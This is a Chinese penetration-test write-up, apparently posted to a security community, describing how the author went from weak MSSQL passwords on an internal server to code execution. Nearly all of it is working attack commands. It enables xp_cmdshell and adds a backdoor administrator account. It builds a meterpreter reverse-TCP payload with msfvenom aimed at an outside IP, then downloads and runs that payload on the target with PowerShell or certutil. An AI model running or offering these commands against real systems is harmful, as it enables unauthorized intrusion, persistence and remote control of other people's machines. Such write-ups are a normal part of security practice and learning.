0x00 前言
最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始···
对目标ip进行端口扫描,开放端口为80,445,1433,3389
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
exec master..xp_cmdshell "whoami";
exec master..xp_cmdshell "net user test paperpen123. /add";
exec master..xp_cmdshell "net localgroup administrators test /add";
msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 195.1.7.23
LHOST => 195.1.7.23
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > exploit
exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient";
exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";
exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';
exec master..xp_cmdshell 'shell.exe';
查看了一下是不是域环境
没错是的,看来还有很长的路要走。。
这次就写到这吧,如有进展,还会更新。欢迎各位师傅们留言讨论,互相交流,互相学习,共同进步。
作者:PaperPen,来源:先知社区